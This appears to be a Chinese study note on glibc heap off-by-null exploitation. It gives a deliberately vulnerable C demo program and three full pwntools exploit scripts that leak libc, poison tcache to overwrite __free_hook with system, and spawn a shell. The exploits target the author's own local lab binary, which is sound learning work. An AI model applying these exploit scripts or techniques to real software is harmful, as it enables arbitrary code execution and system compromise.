总的感觉就是通过off by null来修改size区域,然后造成堆块合并,使得堆块重叠,可以修改可控堆块,

主要看了一个这里面的例子:https://www.jianshu.com/p/8eb55c40ec4a 还有权威指南的pwn书

https://github.com/shellphish/how2heap/blob/master/glibc_2.23/poison_null_byte.c how2heap的例子也不错

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
char *ptr[0x100] = {0};
void menu(){
puts("1.malloc");
puts("2.edit");
puts("3.show");
puts("4.free");
puts("5.exit");
}
void my_malloc(){
int index,size;
puts("index:");
scanf("%d",&index);
puts("size:");
scanf("%d",&size);
ptr[index] = malloc(size);
puts("content:");
read(0,ptr[index],size);
}
void my_edit(){
int index,size;
puts("index:");
scanf("%d",&index);
puts("size:");
scanf("%d",&size);
puts("content:");
read(0,ptr[index],size);
}
void my_free(){
int index;
puts("index:");
scanf("%d",&index);
free(ptr[index]);
}
void my_show(){
int index;
puts("index:");
scanf("%d",&index);
puts(ptr[index]);
}

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
puts("welcome");
while(1){
int op;
menu();
scanf("%d",&op);
if(op == 1) my_malloc();
else if(op == 2) my_edit();
else if(op == 3) my_show();
else if(op == 4) my_free();
else if(op == 5) exit(0);
else puts("invalid!");
}
return 0;
}

​ 这个demo里的edit可以得到任意size,但假设只能溢出1字节

利用1:扩展被释放块

​ 利用思路可以总结为通过拓展一个被释放的块,覆盖掉后面的块,可以修改后面块的内容,比如fd,bk或者函数指针等,从而可以进一步利用

gcc -g demo.c demo1

patchelf –set-interpreter ~/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2 ./demo1

patchelf –set-rpath /root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ ./demo1

image-20230603154728457

​ 覆盖前

image-20230603135909057

​ 覆盖后,可以修改后面的bin的内容了,然后再申请后面bin,就可以申请到free_hook等任意地址,进行修改

image-20230603135947149

​ 0x51的原因是 0x418 (0x410其实是) + 0x10的头 + 0x20的数据(或者说0x28) + 0x10的头

​ 所以就等于0x450, 不存在0x458这种, 其实这里改成多少都行,能覆盖到就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.log_level = 'debug'
p = process('./demo1')
libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')

context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)

def cmd(a):
p.recvuntil('5.exit')
p.sendline(str(a))
def alloc(index,size,content):
cmd(1)
p.recvuntil('index')
p.sendline(str(index))
p.recvuntil('size')
p.sendline(str(size))
p.recvuntil('content')
p.send(content)
def edit(index,size,content):
cmd(2)
p.recvuntil('index')
p.sendline(str(index))
p.recvuntil('size')
p.sendline(str(size))
p.recvuntil('content')
p.send(content)
def show(index):
cmd(3)
p.recvuntil('index:\n')
p.sendline(str(index))
def free(index):
cmd(4)
p.recvuntil('index:\n')
p.sendline(str(index))

alloc(0,0x18,b'a')
alloc(1,0x418,b'b')
alloc(2,0x28,b'c')
free(1)
edit(0,0x19,p64(0)*3+p8(0x51))
alloc(3,0x448,b'\xa0') # 0x440 0x448都可以,
free(2)
show(3)
leak_libc = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_libc - 0x3ebca0 # main+96和libc起始位置偏移
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
#print(hex(leak_libc))


edit(3,0x448,b'a'*0x418+p64(0x31)+p64(free_hook))
alloc(4,0x28,b'/bin/sh')
alloc(5,0x28,p64(system))
free(4)

p.interactive()

#pause()

​ 奇怪的是,这里的free(2)为什么没有被合并呢, 一般需要加一个堆块挡着

利用2: 扩展已分配块

image-20230603154943782

​ 感觉和1差不多其实,就是换一下顺序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.log_level = 'debug'
p = process('./demo1')
libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')

context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)

def cmd(a):
p.recvuntil('5.exit')
p.sendline(str(a))
def alloc(index,size,content):
cmd(1)
p.recvuntil('index')
p.sendline(str(index))
p.recvuntil('size')
p.sendline(str(size))
p.recvuntil('content')
p.send(content)
def edit(index,size,content):
cmd(2)
p.recvuntil('index')
p.sendline(str(index))
p.recvuntil('size')
p.sendline(str(size))
p.recvuntil('content')
p.send(content)
def show(index):
cmd(3)
p.recvuntil('index:\n')
p.sendline(str(index))
def free(index):
cmd(4)
p.recvuntil('index:\n')
p.sendline(str(index))

alloc(0,0x18,b'a')
alloc(1,0x418,b'b')
alloc(2,0x28,b'c')
alloc(3,0x28,b'd')

edit(0,0x19,p64(0)*3+p8(0x51))
free(1)
alloc(4,0x448,b'\xa0')
show(4)
leak_libc = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_libc - 0x3ebca0 # main+96和libc起始位置偏移
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
print(hex(leak_libc))
free(2)
edit(4,0x448,b'a'*0x418+p64(0x31)+p64(free_hook))
alloc(5,0x28,b'/bin/sh')
alloc(6,0x28,p64(system))
free(5)

p.interactive()

#pause()

利用3: 收缩被释放块 poison null byte

​ 权威指南里面的图,还不错

​ 总的俩说还是造成堆块重叠

image-20230603155836221image-20230603155842598

​ 博主的图,也不错,不过最后好像少了一块,进行了补全

img

image-20230531202728221

free 5之前

image-20230531203121300

free之后tcachebin 0x50多了一项,此时利用edit修改fd,就可以实现任意地址写

image-20230531203247741

修改fd后,此时就可以修改hook指针getshell

image-20230531203452499

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context.log_level = 'debug'
p = process('./demo')
libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')

context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)
def cmd(a):
p.recvuntil('5.exit')
p.sendline(str(a))
def alloc(index,size,content):
cmd(1)
p.recvuntil('index')
p.sendline(str(index))
p.recvuntil('size')
p.sendline(str(size))
p.recvuntil('content')
p.send(content)
def edit(index,size,content):
cmd(2)
p.recvuntil('index')
p.sendline(str(index))
p.recvuntil('size')
p.sendline(str(size))
p.recvuntil('content')
p.send(content)
def show(index):
cmd(3)
p.recvuntil('index:\n')
p.sendline(str(index))
def free(index):
cmd(4)
p.recvuntil('index:\n')
p.sendline(str(index))

alloc(1,0x18,b'a')
alloc(2,0x100,b'b')
alloc(3,0x80,b'c')
alloc(4,0x10,b'd')
edit(2,0x100,b'\x00' * 0xf0 + p64(0x100))
#这里写一个0x100是为了绕过检查,因为之前的0x111被改成了0x100
#ptmalloc会根据nextchunk的prev_size字段检查是否大小匹配。这里写入0x100的地方正好是利用off-by-null漏洞后nextchunk的prev_size字段。
for i in range(9,16):
alloc(i,0x108,b'p')
for i in range(9,16):
free(i)
# tcache填充
free(2)
edit(1,0x19,b'A' * 0x18 + p8(0))
alloc(2,0x80,'d')
alloc(5,0x40,'e')
for i in range(17,24):
alloc(i,0x88,b'p')
for i in range(17,24):
free(i)
# 让2 free到unsortedbin里
free(2)
free(3) # 与之前残留的0x110一起合并 注意这个3的位置 0x90+0x110 =0x1a0
alloc(6,0xa0,b'\xa0')
free(5) # 这里也很关键,再次释放5,5又与前面的2组合为
show(6)
leak_libc = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(leak_libc))
libc_base = leak_libc - 0x00007f74b3a5cca0 + 0x7f74b3671000 - 0x200
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
edit(6,0xa0,p8(0) * 0x80 + p64(0x90) + p64(0x50) + p64(free_hook))
pause()
alloc(7,0x40,b'/bin/sh\x00')
alloc(8,0x40,p64(system))
free(7)
#log.success(hex(libc_base))
#gdb.attach(p)
#pause()
p.interactive()

问题

libc.symbols 覆盖的到底是什么呢?